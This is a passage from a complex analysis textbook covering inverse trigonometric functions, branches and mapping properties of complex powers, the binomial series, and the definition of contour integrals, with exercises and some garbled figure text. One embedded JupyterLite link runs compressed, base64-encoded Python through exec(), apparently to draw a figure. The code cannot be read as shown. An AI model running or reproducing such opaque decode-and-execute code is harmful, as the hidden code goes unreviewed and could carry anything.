half-plane, vertical lines x = c to rays argE = c and horizontal lines y = d to circles |E| = e−d; then
F = E/(2i); and finally w = F + 1

4F
= sin z, a Joukowski map with foci ±1, bends the circles into

the ellipses (17.20) and the rays into the hyperbolas (17.19), and folds the two edges x = ± π
2 onto

the cut rays (−∞,−1] and [1,∞). Each intermediate picture is the image under a genuine map. The
upper half of the strip (orange) fills the upper half-plane, the lower half (blue) the lower one.

https://jupyterlite.github.io/demo/repl/index.html?kernel=python&toolbar=1&pyfig=sin1_compose&code=import%20numpy%2C%20matplotlib%2C%20zlib%2C%20base64%20%20%23%20run%20print%28src%29%20to%20see%20the%20code%0Asrc%20%3D%20zlib.decompress%28base64.b64decode%28%27eNqlWuty28iV%2Fo%2Bn6IWpCmCREEGRkk2ZrhrL0thb9kQeX2bGlKICwSaJMQggaPAqaSu%2FUsnfeYbkFfYxdt9hnmS%2FcxogQEn2ajcqEQS6T5%2F7rRs0hnIkktBbWaNgXBej1JvK%2FEvVRRBlMp17YV0MBvGy90McSbtrCPwF0yROMxHEmPKUPGjXxdTLkjDOwmDgJCu6E54C6ozhR2k8Fa%2FPVtkkjpxhoIhkgeTVh7dv6iIfZGiscvwwVpK4snkon7YI2DJN81kwHYtg2DOT0SVuTaGyVSh7pj9LVZx2k5h5N0UWZDwcBv4XkcUi8WZKms%2BNZ8pPgyR7bsy9VCQj0ROLIBrGC4fvr0Zd0b%2Boiy9d0ayLdBZ1RZbO5A1UArI9MYz92VRGmTOW2Uko6fbF6vXQKrixjwx8OXGk6fbEaBb5WRBHwrLFFeg5wInhf9N3R%2BLmyFAye53r29oCh%2FzBSFg5rLi%2BpvVfxPMefY%2BcUEbjbGKLVGazNDoiaJBWqS80QJ%2BgL470op6w%2BHtXuLbY2RE7wyMDUu0MwfGzvVwnUK%2FYEdZtL7BtbYqRlEPSwbZF7I0JL2GWD9BWDh2n4gtwiNSLxjJHmnuR9gwMWF%2FszcBgRhYIYufFKpPq9R%2Btcgre4ChvLvFtAaxOyOF2cIJobGonvQwifyJVj%2B7LhZgHTu2pzuCgLSM%2FHkrCQRaEbDNp2bYzlDxcIQhRnVky9DKp5fxD4Tes%2BmSmJpaJWa8bTL2x3AOdozwedpRpbzT6B%2BgTc1DgI9HAn5DRUMQj8e%2BzBEKmb4JMchTKlKcNWEBBZWsKIU%2F4MQJFBewQWDSKZ6lQCJ5QIugSJayX0Eik591Dx62LDxMZp3LKT3Bgi76f2vqm1YSkhkYPdzgRDeHundh7ViuwEQTZRJxgXP7pKljfHOmBUwycaIBsEiiB%2F1NyoT2rfWo7RA3hB0HF9Y9SrK%2FFM5EEe626uH495ceecA0rk17YFWEQSSWWQOjXRcw%2BUQyuyKlgxdDzEXf0RLEHXxt6aiKHCEHQkcNxvn63oYlEyDQQJiuYsMGe4XtpGmBpNknj2XgCURvPRcBXLVl5p%2BXCYykSsLN%2BHHEylykSVdQYyGwhZQTBfISZJBUQRTa7MYuGsJwnxjKaQRSySlekceaxSYiMUKySG7E%2BEhYGoEPiAVG4p0AWNuwRe16GW5Y75zIfcO0jNsCf1BY2BC0xrQo7xEm31AMCOFjKIcZfxFkWT%2FUU8mOKbAUQME6xLZDUBUOKeSAXjnG2Og3G8LloDjjwn6NkRxZD8jQYABEoPPhwEb11AoqE74Wh0vXEcRy4GRzZyNN8NJsmK3LoKCmGypJhVKoHErRlfjdGFr0Ld6u0cFmpzPpxGErOnKqoLmdxuDreDBsG1ZbUP%2FPAuCpC%2B8oEjkkml5kziqMMmdjsCtOfIqeYNOCMvGkQrmhQyTQYbcZVsJYYdWEK49NxXbzC5w0%2Bxx8%2F1MXZxx9hOvOROzoYHT6hNY%2F8pwdes8m3rVFn5PHoKEjlIEWd4PHDwf7Ia5qGRBrB8tCbDoaemKMQOR04DF0fQ4UQVVn4SgI8ToPImnpLa17HfBPGcHG1DYiYlChgyD4htQKxJ6yInc%2Fm9ByU6TmyL4xXWKMx74mWEQZz4qN%2FYRgGNQt%2BKL3UyhP4YhIgCRFImdDpyUnixLIdpKB4TvnUMMhhelzYcYcAospO2utZhw6aBxe8GFyrqVgizZMxLAhLEj0FgAnlTDwUcsl1vS7m1Qe2GmFz952ObajZ4D407pOv4MniZAuJSwvgS3HaM5vOPuY4QyWeH0TjnksktDLg6ZG0UvhWXSzRJq3wWeJ%2BldldUf49Qm4oQ0zn1BFuMhgdoa%2B%2FPGQVjrQwXkiVoVOB96JjGabeQlckb5lL5Q2Hl95SKqaM1OAtHfjs5TIMptbjZViOrHhkVRnxVII1lin%2FPPNCs7KWmbCWFXQrPQRZcuqOt5yQIqxmRTtPOqSeRQ93dbGOU2TCXlMj8ZbzB4IXBIjiZcKxaYXeQIZsj6ekcILQLQ4Ac%2FWTdcEgepTHj78scp%2FMgfrb5l893IXY%2BoyQo4PSv1ipwv%2Bht6GyPm%2FZV9t4nAZc1Ln3VFxw8KWmyIm8Kg1CJJvUC8Ev8pcV1UXb5uIeymWVdQQf0rP%2Fxep%2F7ncbKOe4oBnNH9wu37vdrVsCwUPDpahTEy%2BRFgG3C09FHYOq3m3rqCT0Dquoz3%2FnUEXTiIqAb1kLVNne%2Fi2RH%2BWdCZin3D6gCqjYJFUSlrnjPB6JHSXoO%2BDGEoIvmB5qF%2FIVLNMwqcVdMHF0D00By0th7sIuAPYGytJzaEGxEFHno0Q0KF%2F%2B%2FrffUCeMX6hIOs0jkenkBb%2BjcNVKoP8DKqE%2Fg9bLJhVY55AyQsd48%2FqHk%2FeU3iyfqv%2BvSKa%2F4IMQpnTecp4QX%2Bike1irmaLUyn7hk18AP6UvXJtwmgbjxXWfEg5R4Bsa1AAARoLVRHeJ6isiVlAe6gKSUx0S1Ze3qQ5zqpqYpqmvLSalr5oqEbyHHLRGpabltDD54oeXJL7CxCvw0f5VV5e7%2Bmu6mgG1YYBwv%2FuM1Toktla9gigg0bH7tGmEe14UQm6B%2FVIX%2BHcP7T5cmCAvbOPjGVC%2B%2B8z2dqbSiyxQfi5g29NjbdzFRKKAfDzbLKqLft8lkZ88YcHbFzyE5zaPPuX0f3hxAR84ffkNJIDSGFp0bXcKPAf8fLjPePaBJ4%2BNt9a6jlYKn%2B3geMSZvOgVvbzdwhUduAMfwG45TpOJ4FQnkRS0WvvwGfdCb7BHBA0PaJaVNQ%2Bp9TaAexdAq1kuE8p9udK5UVD29trWnbVsozVDIBBd2XiqHdDKEZKjaBibOwj0CNzAMp4TrVqCy2G2ye3fIXdCvUgL2VaobzCt0fAuhHqSX6sJhhpg6n9UXXNjtbHklAz0%2BXvNDlpZH4k3ok6v%2F6bfvGA%2FfkMK59Agr%2FAUGruMoCnZvLU%2Bf4%2FcyRgbnCVB4PP3SD7UZdlaMW5rs4zR9A8ugBv%2FOrXplEE9sp5128U0JzmObUOnnqZu2y5ItU8MDrKME9%2BEY82Ca%2B8fgJkntIODJ3awoEVtngWH3G9RdNJDezOTZ%2Fk86AnZXAfvXHd604QaPShOT7o58Ynx%2FvjVCcXHe57r3LPObecLO%2BW6Vtv4hEXIWx3DW665z6O%2BCIHjcuAc6Hg6PKCri0AEt41PyLHENnInJRPHxUO%2F0aJkyskT1xaFX%2FGIoPOWi7vIm%2B1OibzjutvI85t7Ed8aIvxr7q3KbYS1vX2w8jL6GShHyGDc1qje6bHuaeCopC3kBJ8GNh7WzfubtUMbFWudF9s1u0LRHPGSXrjIcdBiJOcHLeXtBha7DpQQqp7ZaKAonlG6%2FL%2FxT23b4o4Kjm3jmAzcp0lmg87G6HOL8yK2Lm8rAHXmWwju5X%2BDLNfEhfHDd291sTZr6xoqWGrWztcy83pB8XjS0%2Fvm%2FPG0d44Nqn91cnPVCorBRe90Vw%2B7N1ft05veOe%2F1a%2BaFcfb6jFJY2Tou2Xv3dTA%2BoHVsoVNlprEwIr7XQWIhn3FxanExauuI0OVqH3ZgqVBKeRkHPOAP2Kf382ru8tfB004e2Hf5I1WkwXiSeWkaL2rmg9mttOYd%2BMwHiK%2B7anBx0OSC13kCv37%2F8QWdiza7wkrN8sCndn1OW%2Bd0evWjvDmvr6%2BfadWeJwF0flPrCjr2yQ94asueXytOfYqxVW9Yyw996KEJ3o1KJU3N%2B0%2BAgOs8mW4TQ5G6fRZEh1MBHScBHjmixgmZyDidmmlvKLks1vtMJnQ7nYVZkIQrMViJWgDuPGpxUirTVHKArHC7XmO1GyzvsFwRVwwQZFMpJnEarKF4KMOqFTp7PYXONC6%2FZterKuGGPfC3wFnFGrwxrNkV%2Flsl%2F7hFDUVDE2UBKl5dbIKCvhqrG3pYQlnC0j1ITSuRDqUY900DcaFudhUEr6lu8zyLXRC7JWJVOH0UlnrQ1rmXjsUJpo5ELkcVxA9SHzv82vXJNTMzvKkaYb8UArfDYB4MJZugFZAfUbGnp8Yto5NFJ144h6jibsRvc01MAHbU4BoitjV78ry5zS5txNN74dlwp8%2BaVfbbJfu4vSfNaMYaJxDcvWH%2BitRT2qJYo3jNXbVrDcJHrk%2Bve%2BfpJN44mAzDIFF0Xg9DqI3brRKZDuLQEwNEHZ2Mw5uxH9VHELEfQKZk6lbl6BQhXp4gk8eD05o%2Bbi5PGOFljSxu0AkiXDvO9TMYXB3fnCuZoS2bIZE0zoNolK3q2KGe%2B7MEnboesO079slTg1VbwRY28GUQcJYkW2agbDGT%2BSTb6KhICjykjzkzrQcL6QORcpM37MV5pc6j%2BVnWkW7hqe%2Bh%2FqdPb0vUFI%2FcV2a0i8ZAW28xy262oztj3fry2RUfm3BipnzMtr3P7LVKUNaqJ7b%2FWzal3KZP%2F%2BFlytRtsZoNSrpI032VUZuJJs08j0x8FWPUQRVvZIK6SAibxM5dptQZU%2B2rvJZJGCfXBgvlmaQOSGjoRe8HsIfUg882Y6ghB2berJ8dMwLdb%2BjrW%2FQdUPMUnzY28kcFTNmIWNjh7QoLW7QGNns2WkvsN27ru2mXYlhFq2XnzTLVW%2B446uL4U1UcGE9v1jT5IzFh2vTuxkrypirRZwwb7OsKUjQgdfHiX0JZClJ5%2B0XN%2Friype5WA0KfpcKuMhpaZe%2Bk0Phh0WPxiboo2j3c6aTaFOYJegDEu4rDAA0dQle%2FIh3Msqww09eJMDt38PPJAfBTo6MxrOesh8oWqKKR9aQyqXdAm9lCJ03yINpScSaHhp5VFfSBdkwb9zbvbpt7YsdpjehcSYHgB3h5BTwPERnet52%2BhTqb8Ctifku11GdERxTYPFy8qeK3Uk4H45Z74BZHfdLzJ7b5EPLug8i%2Fnor%2F%2Bk%2BWrD2i0wPJb6GY2F2WfpRfBTYNce%2FfDgJnXjlgQfSsJ%2Byx%2BbM%2BmKv4yC3BVALgIVwsjsbFa6W5VF0w0ZRsR7rRh33YxWdJQQ%2BUigFNsHipXNFR60E64kajENvyKNvbd5WDTqOAoXea1u9%2F%2B61JPToW6FJqF0wCPpRg096ohE4C1pPi%2Bf%2BpjDpfiTE%2BCKaDfRjsRMRz6iYBnAWhht0f0SlXVWdVrkrF5WxhQCdU2v%2FbxUFZbsSgZLii2P0HK%2Fa0VBrCQEBr4r%2F%2Fste6R7%2Bn9%2Bp3r%2FUN1%2FuXlB2CPVIiQuT0fiU%2B00rUytnfUo72eDrCuaObSsr5iXMWrW5XVx%2Bxu72lStCnxMiTX1Mo2FuI3%2F%2F%2BT80SvbfXnQ0zWsfMPzYz1MxAsZxZxO9%2F%2FU30aabO8xfsDj%2F1P55d5MwHrK2f%2Bv9RDpE89U2WRZfFWVbzXrrDtyFYJ19VOnVXnBPJCbqCDmH8WE3AsxaxPYIAbJlUXK%2Buu8V90ZOSFCdV18y1ryqvDT20dfq8jg7bfm5qh6e3nD%2FTucR3qL7FcZ6aWC%2FzecDywwaNdDUU%2B9NcH8U9fixaYg%2B7OL5piDwXFeODYtzNz%2FfQTrYqWCZbWL7TN7uUMatYXtzG8tVY4yjLf5KhG3G%2FeCUhsXtPNxmjCLL8VxsadqgrUBWWnUSiXsvW120InsT1gkOZG9NrHT20GaA3jFFey7objA87C7UNAzFk0it%2Fk9qYcRgPvFBZ%2BXn4I5GkMW3khrR3o1DVPy%2BgjAnqECAfrv4SBtvgL%2FnvwO79YVovlJHFrbpd%2Fjqpd9CxDXap%2BxMPsRJ64FD%2FCE233UmMTjrd%2FOas%2BF1A30yGI%2F4pQIb9k3kBlbdbRvlrpdbTQ9u4%2FYOky8sRgvvy0klVEgbQ%2BJ5JSqNwK99ZOcmK3lpdasIOyFAn9j9hZk6F%27%29%29.decode%28%29%0Aexec%28src%29


CHAPTER 17. TRIGONOMETRIC AND HYPERBOLIC FUNCTIONS 124

−2 0 2 4 6 8

−1

0

1

−1 0 1

−1

0

1

z0 =¡0:7 ¼
2 ¼

0.0

0.5

1.0

jsin 0(z0)j= jcos z0j size of image / size of disc (measured)

Folding: at z0 = ¼
2 , where sin 0 = cos = 0, sin  doubles angles

A small disc goes to roughly a disc, scaled by jcos z0j and turned by arg cos z0; at z0 = ¼
2 ,

sin(¼2 + h) = cosh¼ 1¡ h 2

2 : opposite quarters land on the same half (darker)

z₀ = 1.571 + 0.000i     sin z₀ = 1.000 + 0.000i     cos z₀ = −0.000 + 0.000i
size of image / size of disc = 0.393;   |cos z₀| = 0.000

image of the boundary circle winds 2 times round sin z₀;  π − z₀ is in the disc too

Figure 17.4 (animated). Where sin stops being one-to-one. A disc slides along the real axis; its
image is roughly a disc, scaled by |sin′ z0| = |cos z0| (graph below). At z0 = π

2 , where cos z0 = 0,
sin( π

2 + h) = cosh ≈ 1 − h2

2 doubles angles: opposite quarters of the disc land on the same half-disc,
and the image of the boundary winds twice round 1. Then a window a < x < a + π slides across
the plane: sin is one-to-one on it only when it lines up with a strip − π

2 + kπ < x < π
2 + kπ, since

sin(π − z) = sin z; otherwise it contains two solutions of sin z = 0.5 + 0.4i (counted on screen). The
strips next to Λsin cover the cut plane again, their upper halves going to the lower half-plane.

Remark 17.11 (Inverse trigonometric functions). Solving sinw = z as in Example 17.9 gives, in
general,

sin−1 z = −i log
(
iz +

(
1 − z2)1/2)

, (17.21)

a multiple-valued relation with two sources of multivaluedness: the square root (2 values) and
the logarithm (infinitely many). A branch of sin−1 is obtained by choosing a branch of each; the
principal branch uses the principal square root and Log, and inverts Theorem 17.10. Similarly

tan−1 z = i

2 log i+ z

i− z
, sinh−1 z = log

(
z + (z2 + 1)1/2

)
. (17.22)

Differentiating the principal branches gives the expected formulas, e.g. d
dz sin−1 z = (1 − z2)−1/2
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and d
dz tan−1 z = 1

1+z2 on suitable cut planes.

Derivation of (17.21). Set E = eiw. Then sinw = z reads E−E−1 = 2iz, i.e. E2 − 2izE− 1 = 0,
so by Theorem 6.2 E = iz+s where s is either square root of (iz)2 +1 = 1−z2. Then iw ∈ logE,
i.e. w = −i log(iz + (1 − z2)1/2).

17.4 Exercises
Exercise 17.1. Express in the form x+ iy: sin(1 + i), cos(2i), tan(i ln 2), sinh(1 + iπ/2).

Exercise 17.2. Find all solutions: cos z = 2, sin z = i, cosh z = 0, ez = sin z (numerically: a pair
of roots near 0.363 ± 1.134i, and real roots near −3.183, −6.281, −9.425, . . . ).

Exercise 17.3. Prove |sinh y| ≤ |sin z| ≤ cosh y for z = x+ iy, and identify where each inequality
is an equality.

Exercise 17.4. (⋆) Prove that tan z maps the strip −π
4 < Re z < π

4 bijectively onto the unit disc.
(Write tan z = 1

i · e2iz−1
e2iz+1 and compose known maps.)

Exercise 17.5. Verify the Cauchy–Riemann equations directly for sin z = sin x cosh y+i cosx sinh y,
and confirm d

dz sin z = cos z using (14.2).

Exercise 17.6. Show that sin z and cos z take every complex value infinitely often, whereas ez
takes every complex value except 0 infinitely often. (These are instances of Picard’s theorem.)

Exercise 17.7. Find all z with sin z = cos z, and all z with tan z = i. (The second has no
solutions — explain why, using (17.2).)

Exercise 17.8. Locate all zeros and all poles of tan z, cot z, tanh z and coth z, giving the order
of each. (Use Corollary 17.6 and the dictionary (17.12).)

Exercise 17.9. (⋆) Prove that cos z maps the half-strip {0 < Re z < π, Im z > 0} conformally
onto the lower half-plane. (Use cos z = sin(π2 − z) and Theorem 17.10.) Where does the map fail
to be conformal on the boundary?

Exercise 17.10. Prove sin z = sin z and cos z = cos z, and deduce that the solutions of sin z = r
with r ∈ R are symmetric about the real axis.



Chapter 18

Complex Powers, Continued

The multiple-valued relation zα was defined in (16.17) and its principal value in (16.18), and
Proposition 16.15 computed the derivative of the principal branch. This short chapter finishes
the topic: it describes all the branches, records exactly which algebraic laws survive, and examines
the power functions as mappings. It also states the binomial series, whose proof must wait for
Chapter 24.

18.1 All branches of zα

Recall the definitions. For z ̸= 0 and α ∈ C,

zα = { eαw : w ∈ log z }, zαpr = eαLog z, (18.1)

with log and Log as in (16.9) and (16.10).

Theorem 18.1 (Branches of the power function). Let α ∈ C and let τ ∈ R. Let Dτ = C \ {teiτ :
t ≥ 0} and let Lτ be the logarithm branch (16.16) on Dτ . Then for each k ∈ Z the function

Pτ,k(z) := eα(Lτ (z)+2kπi) = e2kπiα eαLτ (z) (18.2)

is analytic on Dτ , takes values in zα, and satisfies

P ′
τ,k(z) = α

Pτ,k(z)
z

, z ∈ Dτ . (18.3)

Every branch of zα on Dτ is one of the Pτ,k, and the number of distinct functions among them
is the number of values of zα counted in Proposition 16.12.

Proof. Analyticity: Lτ is analytic on Dτ with L′
τ = 1/z (Definition 16.10 and its justification),

and exp is entire (16.7), so the chain rule (13.6) gives both analyticity and

P ′
τ,k(z) = eα(Lτ (z)+2kπi) · αL′

τ (z) = α
Pτ,k(z)
z

,

which is (18.3). The value lies in zα because Lτ (z) + 2kπi ∈ log z by (16.11).
Conversely let f be any branch of zα on Dτ , i.e. f continuous with f(z) ∈ zα for all z. Then

g := f/Pτ,0 is continuous on the connected set Dτ (the denominator never vanishes, by (16.3))
and takes values in the set

E := { e2kπiα : k ∈ Z }, (18.4)
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which is countable. Now g(Dτ ) is a connected subset of E, hence countable; and a connected
metric space with more than one point is uncountable. Therefore g(Dτ ) is a single point, i.e. g is
constant, and f = Pτ,k for some k.
Warning 18.2. It is tempting to argue instead that E of (18.4) is discrete and quote the fact that
a continuous map from a connected set to a discrete set is constant. That argument is false: for
α real and irrational, E is a dense subset of the unit circle by Weyl’s equidistribution theorem,
and has no isolated points at all. Countability, not discreteness, is what does the work above.

Remark 18.3 (When the exponent is real and the branch is invisible). If α = n ∈ Z then e2kπin = 1
for all k, so there is one branch, defined on all of C \ {0} and in fact entire when n ≥ 0: the cut
is an artefact one may discard. This is the only case in which the cut can be dispensed with. For
α = p/q in lowest terms with q ≥ 2 one gets exactly q branches — the q determinations of the
q-th root of zp — and for all other α infinitely many.

Proposition 18.4 (Which power laws survive). Let z, w ∈ C \ {0} and α, β ∈ C. As identities
of sets,

zαzβ = zα+β is false in general, 1
zα

= z−α is true, (18.5)

where the left-hand side of the first means {ab : a ∈ zα, b ∈ zβ}. For principal values the following
hold for all z ∈ C \ {0} (the cut plays no role here):

zαprz
β
pr = zα+β

pr , (18.6)(
zαpr
)−1 = z−α

pr , (18.7)∣∣∣zαpr

∣∣∣ = |z|Reα e− Imα Arg z. (18.8)

By contrast (zw)αpr = zαprw
α
pr and

(
zαpr
)β

pr = zαβpr both fail in general.

Proof. Same base: eαLog zeβ Log z = e(α+β) Log z by (16.4); this needs no correction because the
same logarithm is used twice, which is exactly why (18.6) is safe while the product rule in the
base is not. (18.7) is (18.6) with β = −α. For (18.8), write α = a+ ib and Log z = ln |z| + iArg z;
then

αLog z =
(
a ln |z| − bArg z

)
+ i
(
aArg z + b ln |z|

)
,

and (16.2) gives
∣∣∣eαLog z

∣∣∣ = ea ln|z|−bArg z, which is (18.8).
For the set identity zαzβ = zα+β: the left side is {eαLog z+2kπiα+β Log z+2lπiβ} over k, l ∈ Z, the

right side has only the diagonal k = l. Taking z = 1, α = β = 1
2 gives left side {1,−1} · {1,−1} =

{1,−1} and right side 11 = {1}: not equal. The failure of (zw)αpr is Warning 16.16. For the
iterated power, take z = e, α = 2πi, β = i: then zαpr = e2πi = 1, so (zαpr)βpr = 1ipr = 1, whereas
zαβpr = e−2π ̸= 1.

18.2 Power functions as mappings
Proposition 18.5 (zα on a sector, α > 0 real). Let α > 0 be real and let S(θ1, θ2) = {reiθ : r >
0, θ1 < θ < θ2} with −π ≤ θ1 < θ2 ≤ π. Then the principal branch zαpr maps S(θ1, θ2) bijectively
onto S(αθ1, αθ2), provided α(θ2 − θ1) ≤ 2π; it is conformal there, since by (18.3) its derivative
αzα−1

pr never vanishes.
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Proof. By (16.18) with real α,

zαpr = eα ln|z|eiαArg z = |z|α eiαArg z,

so the modulus map r 7→ rα is a bijection of (0,∞) onto itself and the argument map θ 7→ αθ is
a bijection of (θ1, θ2) onto (αθ1, αθ2). Injectivity requires that the image interval have length at
most 2π, which is the stated hypothesis. Non-vanishing of the derivative is (18.3) together with
(16.3), and Theorem 13.10 then gives conformality.
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Figure 18.1 (animated). z3/2
pr on a sector of angle 2π/3. A: every point moves in a straight line from

z to f(z). B: r 7→ r3/2, θ 7→ 3
2θ: the sector of angle 2π/3 opens to the half-plane. C: the tiles on the

left deform along the path of B.
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C tiles (Figure 18.1, continued)
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Example 18.6 (Opening a corner). The map w = z
1/2
pr halves angles at 0: it takes the slit plane

−π < Arg z < π onto the right half-plane −π/2 < Argw < π/2, as recorded in Theorem 10.3(ii).
Conversely w = z2 doubles angles and opens a quarter-plane into a half-plane. Choosing α = π/φ
opens a wedge of angle φ into a half-plane; this is the single most useful move in Chapter 33,
where it is used to reduce flow and temperature problems in corners to problems in a half-plane.

Example 18.7 (zi takes circles to spirals). Let α = i and consider w = zipr = eiLog z. By (18.8),
|w| = e− Arg z, while

Argw ≡ Re
(
Log z

)
= ln |z| (mod 2π).

So the modulus of w is controlled by the argument of z and the argument of w by the modulus of z:
the roles are exchanged. The circle |z| = ρ maps into the ray {tei ln ρ : t > 0} (that is, ln ρ ∈ argw;
this is Argw = ln ρ only when −π < ln ρ ≤ π), and in fact onto its segment e−π ≤ t < eπ, since
|w| = e− Arg z with Arg z ∈ (−π, π]; the ray Arg z = θ maps onto the circle |w| = e−θ. The image
of a logarithmic spiral is therefore another logarithmic spiral.

Re

Im

z-plane

zi

Re

Im

w-plane

Figure 18.2. Example 18.7: under w = zi the roles of modulus and argument are exchanged. A
circle |z| = ρ (left, cyan) has constant modulus and varying argument, and its image lies on a ray
{tei ln ρ : t > 0} of constant argument and varying modulus; a ray Arg z = θ (left, amber) maps to a
circle |w| = e−θ. Consequently logarithmic spirals map to logarithmic spirals.
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every point moves in a straight line from z to z i
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w= z 1 + (i¡ 1)s; s= 1:00

circles jzj= ½ go into pieces of the rays at angle ln ½, rays into circles jwj= e¡µ;
the spiral (green) stays a spiral

B a path of maps
Figure 18.3 (animated). zi

pr: circles to rays, rays to circles. A: every point moves in a straight line
from z to f(z). B: circles |z| = ρ go into pieces of the rays at angle ln ρ, rays into circles |w| = e−θ;
the spiral (green) stays a spiral. C: the tiles on the left deform along the path of B.
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circles jzj= ½ go into pieces of the rays at angle ln ½, rays into circles jwj= e¡µ;
the spiral (green) stays a spiral

C tiles (Figure 18.3, continued)

18.3 The binomial series
Theorem 18.8 (Binomial series; proof deferred). Let α ∈ C. Define the generalised binomial
coefficients (

α

0

)
:= 1,

(
α

n

)
:= α(α− 1) · · · (α− n+ 1)

n! (n ≥ 1). (18.9)
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CHAPTER 18. COMPLEX POWERS, CONTINUED 131

Then the principal branch of (1 + z)α satisfies

(1 + z)αpr =
∞∑
n=0

(
α

n

)
zn, |z| < 1, (18.10)

the series converging absolutely on |z| < 1 and uniformly on |z| ≤ ρ for each ρ < 1. If α = m ∈
{0, 1, 2, . . . } the coefficients vanish for n > m and (18.10) is the ordinary binomial theorem, valid
for all z.

The proof is postponed to Example 24.5, once Taylor’s theorem is available. What can be
said now is that the radius of convergence is exactly 1 when α /∈ {0, 1, 2, . . . }: then no coefficient
(18.9) vanishes, and ∣∣∣∣

(
α

n+ 1

)/(α
n

)∣∣∣∣ = |α− n|
n+ 1 −→ 1 (n → ∞),

so the ratio formula of Theorem 23.10 gives radius 1. The reason behind it is the singularity of
(1 + z)α at z = −1 (a branch point, or a pole when α is a negative integer).

18.4 Exercises
Exercise 18.1. Find all values, and the principal value, of (1 + i)i, (−8)2/3, 2

√
2, (2i)1−i.

Exercise 18.2. Verify (18.8) numerically for z = −1 + i and α = 2 − 3i, by computing both sides
to four decimals.

Exercise 18.3. Give explicit z, w, α with (zw)αpr ̸= zαprw
α
pr, and compute the ratio of the two

sides; show that the ratio is always of the form e2πikα with k ∈ {−1, 0, 1}.

Exercise 18.4. Find the image of the sector 0 < Arg z < π/3 under z3/2
pr and under z3. Is either

map conformal at 0? Explain, and describe what each does to angles at 0.

Exercise 18.5. (⋆) Show that zαpr is real-valued for all z > 0 if and only if α ∈ R, and that it is
bounded on the punctured unit disc 0 < |z| < 1 if and only if Reα ≥ 0.

Exercise 18.6. Write out the first four terms of (18.10) for α = 1
2 and for α = −1, and identify

the second series.

Exercise 18.7. Determine, for each α below, how many distinct values zα has and describe the
set: α = 5, α = 3

4 , α = −7
6 , α =

√
3, α = 1 + i. (Use Proposition 16.12.)

Exercise 18.8. Show that z 7→ zαpr maps the unit circle minus −1 into the unit circle if and only
if α is real, and describe the image when α = 1

2 and when α = 3.

Exercise 18.9. (⋆) Prove that the set { i i i } — computed by taking all values at each stage —
is an infinite subset of the unit circle, namely

{
eick(π/2+2mπ) : k,m ∈ Z

}
with ck = e−π/2−2kπ.

(Work out ii first, from Example 16.13, then raise i to each of those powers.) Contrast this with
(ii)i, and show that the two bracketings give different sets.
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Chapter 19

Real Integrals and Contour Integrals

Two different objects are both called “integral” in this subject, and confusing them is the com-
monest early error. The first integrates a complex-valued function over an interval of the real line;
it is elementary, being two real integrals side by side. The second integrates a complex-valued
function along a curve in the plane; it is the object on which the whole theory turns. This chapter
defines both and proves the estimates that everything later depends on.

19.1 Integrals of a complex-valued function of a real variable
Definition 19.1 (Real-variable integral). Let a, b ∈ R with a ≤ b and let h : [a, b] → C be written
h(t) = u(t) + iv(t) with u = Reh and v = Im h real-valued. If u and v are Riemann integrable on
[a, b] we say h is integrable and define∫ b

a
h(t) dt :=

∫ b

a
u(t) dt+ i

∫ b

a
v(t) dt ∈ C. (19.1)

Proposition 19.2 (Elementary properties). Let h, g : [a, b] → C be integrable and let c ∈ C.
Then ∫ b

a

(
h+ g

)
=
∫ b

a
h+

∫ b

a
g,

∫ b

a
c h = c

∫ b

a
h, (19.2)

Re
∫ b

a
h =

∫ b

a
Reh, Im

∫ b

a
h =

∫ b

a
Im h, (19.3)∫ b

a
h =

∫ c

a
h+

∫ b

c
h (a ≤ c ≤ b). (19.4)

If h is continuous and H ′ = h on [a, b] in the sense of (6.6), then∫ b

a
h(t) dt = H(b) −H(a). (19.5)

Proof. Additivity and (19.3) and (19.4) are immediate from (19.1) and the corresponding real
statements. For

∫
c h write c = λ+ iµ and h = u+ iv; then ch = (λu− µv) + i(λv + µu), so∫

ch =
(
λ

∫
u− µ

∫
v
)

+ i
(
λ

∫
v + µ

∫
u
)

= (λ+ iµ)
(∫

u+ i

∫
v
)

= c

∫
h.

For (19.5), apply the real fundamental theorem of calculus to ReH and ImH separately and
recombine using (6.6).
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Lemma 19.3 (The modulus inequality). Let h : [a, b] → C be integrable, a ≤ b. Then∣∣∣∫ b

a
h(t) dt

∣∣∣ ≤
∫ b

a
|h(t)| dt. (19.6)

Proof. The inequality is trivial if I :=
∫ b
a h = 0, so assume I ̸= 0 and write I = |I| eiφ using

Theorem 3.7. Put c := e−iφ, so that |c| = 1 and cI = |I| is real and positive. Then, using (19.2)
and (19.3), ∣∣∣∫ b

a
h
∣∣∣ = cI =

∫ b

a
c h(t) dt = Re

∫ b

a
c h(t) dt =

∫ b

a
Re
(
c h(t)

)
dt,

the third equality because the quantity is real. Now Re(ch) ≤ |ch| = |c| |h| = |h| pointwise by
(1.26) and (1.24), and the real integral is monotone, so the last expression is ≤

∫ b
a |h|.

Lemma 19.3 is the reason the ML-inequality below is true, and through it the reason almost
every estimate in this course works. Note that the proof had to rotate I onto the positive real
axis first: there is no order on C (Warning 1.8), so one cannot argue directly.

19.2 Contours
Definition 19.4 (Smooth curve, contour). A smooth curve in C is a function γ : [a, b] → C with
γ′ continuous on [a, b] and γ′(t) ̸= 0 for all t, where γ′ is as in (6.6). A contour (or piecewise smooth
curve) is a continuous γ : [a, b] → C for which there is a partition a = t0 < t1 < · · · < tm = b such
that each restriction γ|[tj−1,tj ] is a smooth curve.

The point γ(a) is the initial point and γ(b) the terminal point. The contour is closed if
γ(a) = γ(b), and simple if γ is injective on [a, b] or, when γ is closed, injective on [a, b) — that is,
it does not cross itself. A simple closed contour is both.

Definition 19.5 (Standard contours). Two parametrisations are used constantly.

Segment from z1 to z2 : γ(t) = (1 − t)z1 + tz2, t ∈ [0, 1]; (19.7)
Circle C(z0, ρ), counterclockwise: γ(t) = z0 + ρeit, t ∈ [0, 2π]. (19.8)

Given a contour γ : [a, b] → C we write −γ for the reversed contour (−γ)(t) := γ(a+ b− t), and
γ1 + γ2 for the concatenation of two contours when the terminal point of γ1 is the initial point of
γ2.

smooth arc contour simple closed closed, not simple

Figure 19.1. The vocabulary of Definition 19.4. From the left: a smooth arc; a contour, smooth in
pieces with corners allowed; a simple closed contour, which does not cross itself; and a closed contour
that is not simple. Cauchy’s theorems are stated for the third kind, and the residue theorem in its
general form (27.7) handles the fourth by counting winding numbers.

Definition 19.6 (Length). The length of a contour γ : [a, b] → C is

length(γ) :=
∫ b

a

∣∣γ′(t)
∣∣ dt =

∫ b

a

√(
Re γ′(t)

)2 +
(
Im γ′(t)

)2 dt, (19.9)
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the usual arclength of the plane curve t 7→ (Re γ, Im γ). For the circle (19.8), γ′(t) = iρeit so
